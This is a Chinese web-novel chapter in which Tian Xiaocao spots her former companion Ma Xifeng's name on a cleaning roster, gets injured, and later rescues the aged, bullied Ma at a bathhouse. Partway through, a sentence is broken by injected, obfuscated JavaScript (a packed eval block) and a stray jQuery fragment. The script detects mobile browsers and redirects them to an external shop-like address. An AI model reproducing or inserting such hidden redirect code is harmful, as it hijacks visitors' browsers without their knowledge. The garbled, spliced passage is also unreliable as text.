那一天的事好像一场梦,结束的稀里糊涂。
田小草闲暇时刻,总会记起那晚大龙小浩茫然又震惊的眼神。
她好像办了坏事,自那天起,大龙总在躲着她,他上学就住校,放假就呆在她不在的地方教小浩学习。
只是时间并不会因为生活的琐碎而停止,又是一年开学季,小浩如愿以偿上了县里最好的中学,也开始了住宿生活。
而她,则是无休止地工作。
她入职后的这一年,客户越来越多,订单也越来越多,公司开始大规模招聘。
大半年的时间,她就已经晋升保洁组长,管理了十好几个人。
这样平静美好的生活,让她有些害怕。
又一日,窗外的阴云压得很低,仿佛随时会有一场大雨倾盆而下。
田小草正微弓着腰,从主管的办公桌上接过新一期的保洁小组名册。
她原本只是机械地扫视着,确认明天搭班的姐妹,可就在视线滑落到名册最末尾,那个新招募的“临时工”一栏时,她的呼吸毫无预兆地停滞了。
“马喜凤”。
这三个字,像是一把烧红的铁钳,生生钳住了她的瞳孔。
那一瞬间,田小草只觉得脑子里“轰”的一声,四周嘈杂的交谈声、主管敲击键盘的啪嗒声、饮水机冒泡的咕噜声,全都像潮水一般迅速退去,世界陷入了一片死寂。
只有那三个字,在发黄的复印纸上疯狂跳动,灼烧着她的视网膜。
是她吗?是那个曾经鲜衣怒马、骄傲到连走路都恨不得仰着下巴的马喜凤吗?
“小草!发什么呆呢?拿了名单赶紧去领工具,客户那边催得紧!”主管不耐烦地拍了拍桌子。
“哎……好。”
田小草恍惚地应了一声,声音虚浮得连她自己都听不清。
她机械地转身,想要挪动脚步,可双腿却在那一刻变得像灌了铅一样沉重,又像面条一样发软。
极度的震慑让她的平衡感瞬间丧失。
她走得太急,甚至没看清脚下的路,那双洗得发白的旧布鞋尖,狠狠踢到了旁边一个装满浓缩消毒水的厚重塑料桶。
“砰——!”
一声极其沉闷的重物落地声。
田小草整个人由于惯性,以一种近乎惨烈且毫无防备的姿势,直勾勾地拍在了冷硬的水泥地上。
疼。
一股排山倒海般的剧痛先于她的所有意志,她躲避不了也站不起来。
她的膝盖骨狠狠磕在地上,发出一声令人牙酸的闷响,随后是手掌心传来的火辣辣的撕裂感。
消毒液由于撞击溅了一地,那种刺鼻的、带着腐蚀性的味道疯狂地钻进她的鼻腔,呛得她肺部生疼。
她趴在地上,半晌没能动弹。
冷硬的水泥地面紧贴着她的脸颊,那种冷,顺着皮肤一直渗进骨缝里。
比身体的疼痛更让她清醒的,是那张被她死死攥在指尖、已经揉皱了的名册。
她没去管流血的膝盖,只是死死盯着那个名字。
马喜凤,这个名字像是一道旧伤口,在这一刻被生生撕开,露出了里面从未愈合的情感真相。
好疼啊。
那一摔伤到了筋骨,田小草的小腿肿得像一截青紫的木头。
主管难得发了善心,准了她几天假。
周六的午后,县城边缘的老破窗户投下一道惨淡的光,无数尘埃在光柱里无声地起伏。
“妈,吃药。”
大龙端着一碗温开水和两片止疼药,动作轻柔地走到床边。
他现在变得愈发沉默了,曾经那双娇生惯养的手,如今也布满了细小的裂口和劳作的红痕。
田小草靠在那个发了霉的枕头上,脸色苍白得近乎透明。
她没有接药,而是怔怔地盯着大龙的脸。
这孩子长开了,眉眼间那种凌厉的线条,简直是从马喜凤脸上拓下来的。
尤其是他抿着嘴,眼神里透着那股子不服输的傲气时,看着他,田小草总是会产生一种时空错乱的幻觉。
“大龙……”她声音沙哑,带着一丝试探。
“怎么了,妈?是腿又疼了吗?”大龙放下水杯,手掌温热地覆在她的脚踝处,笨拙且小心地揉捏着。
田小草看着大龙勤劳、沉默、甚至带着点卑微的侧脸,心里那个念头却像野草一样疯长:
如果名单上的那个人真的是她,那该怎么办?
她为什么会回来?
她回来了大龙怎么办?
她想开口问,却又怕听到答案。
她怕那是同名同姓的幻影,更怕真的是那个女人,怕大龙那颗好不容易缝合的心,再次被喜凤的冷酷搅得粉碎。
于是,这几天的居家休养,成了一场无声的内心凌迟。她闭上眼,满脑子都是马喜凤。
复工的第一天,田小草带伤上岗。
她的任务是清理城西的一家老式旧澡堂。那地方阴暗潮湿,墙上的瓷砖由于长年受潮,剥落了大半,露出里面灰黑色的泥底,像是一块块腐烂的烂疮。
空气里弥漫着浓郁的硫磺味和一种由于不通风而产生的、令人窒息的酸腐气息。
田小草拎着刷子,膝盖每动一下都带着针刺般的疼,但她忍着。
还没进入大澡池,一阵极其刺耳的恶毒的谩骂声穿透了重重雾气。
“你这死老婆子,手脚比蜗牛还慢,存心耽误大家下班是不是?”
“让你擦个镜子,你在这儿磨洋工?看我不撕烂你这副穷酸相!”
紧接着,是塑料桶翻倒的声音,和一种极其小心的抽泣声。
田小草的心猛地提起,这种场景她见得太多了,在保洁圈子里,新人总是被霸凌。
但不知为何,今天这声音听得她太阳穴狂跳。她丢下工具,几乎是踉跄着冲进了那个充满水汽的回廊。
“住手!都是干苦力的姐妹,至于这么欺负人吗!”
她大喝一声,冲到了几个人中间。
两个满脸横肉的保洁大姐正把一个瘦小的身影逼在潮湿的墙角,其中一个正抓着一团脏布往那人脸上抹。
田小草一把推开她们,死死拦在那个被打骂的人身前。
那两名保
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301560|198649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
洁员见田小草眼神犀利,又是带伤复工的拼命三娘,这才骂骂咧咧地散了。
水汽散去了一些。
田小草喘着粗气,转过身,想要扶起地上那个蜷缩成一团,正瑟瑟发抖的人。
“大姐,没事了,起来吧……”
田小草的声音戛然而止,整个人像是被雷电击中一般僵在了原地。
地上的人在躲闪。
她拼命地往阴影里缩,那双指甲缝里塞满了黑泥的手,死死地挡住自己的脸。
可即使如此,田小草还是从那凌乱的、几乎全白了的花发缝隙中,认出了那个即便化成灰,她也认得出的轮廓。
怎么会是她呢?
地上的女人,佝偻着脊梁,曾经那挺拔的背影如今缩成了一个滑稽的圆弧。她花白的头发,像扫把一样炸开。
那张白皙透亮的脸蛋,哪怕在最穷困时也要抹雪花膏细细呵护的脸,现在却像是一张被蹂躏过的黄表纸,布满了岁月的沟壑。
怎么会是喜凤呢!
怎么会是那个曾经把头昂到天上的马喜凤呢?
“喜凤……”
田小草的声音由于极度的震撼而彻底破碎,那两个字从喉咙里挤出来时,带着一种撕心裂肺的疼。
她震惊,但更多的是控制不住的心疼。
她想象不到她经历了什么,将近一年的时间,一个光鲜亮丽的可人儿,怎么会变成现在这样的粗糙颓废?
听到这一声呼唤,地上的女人浑身剧烈一震,她缓缓地、怯懦地松开了挡脸的手,抬起头。
在那双曾经充满了野心、充满了对田小草的不屑、此刻却只剩下无尽卑微与死寂的眼睛里,田小草看到了两行浑浊的泪,顺着那些深深的皱纹无声地淌了下来。
“小……小草……”
喜凤开口了。她的声音不再清脆,而像是枯枝败叶在风中摩擦、像一个行将就木的老人哀鸣,沙哑且苍老得让田小草心碎。
她没有了以往的傲气,没有了那种死不认输的刻薄。她坐在冰冷潮湿的水泥地上,缩着脖子,眼神里全是那种被霸凌久了的讨好式胆怯。
“你……你怎么在这儿?你怎么把自己弄成这个样子了!”田小草连声询问,眼泪毫无预兆地夺眶而出。
没有责备。
没有质问她那些钱去了哪里。
也没有问她为什么要跑。
田小草只看到,眼前的那高傲的凤凰已经掉光了所有的羽毛,正赤条条地缩在寒风里,忍受着这世间最粗鄙的践踏。
她原本是恨她的,她害了她的婆婆与丈夫,留下了她的儿子,她原本是恨她的,她无数次期待着相逢,她将喜凤狠狠地臭骂一顿,责问她为什么离开,为什么消失不见,为什么留她一个人……但现在,她看到这样苍老无助的喜凤,她哪里还说得出来重话?
她猛地蹲下身去,不顾喜凤身上的脏臭,不顾她身上那股子刺鼻的清洁剂味,一把将那个佝偻的身躯狠狠搂入怀中。
“喜凤……别怕,我在呢,”田小草的脸贴着她那头干枯白发,声音哽咽得几乎失声,“喜凤,跟我回家吧。”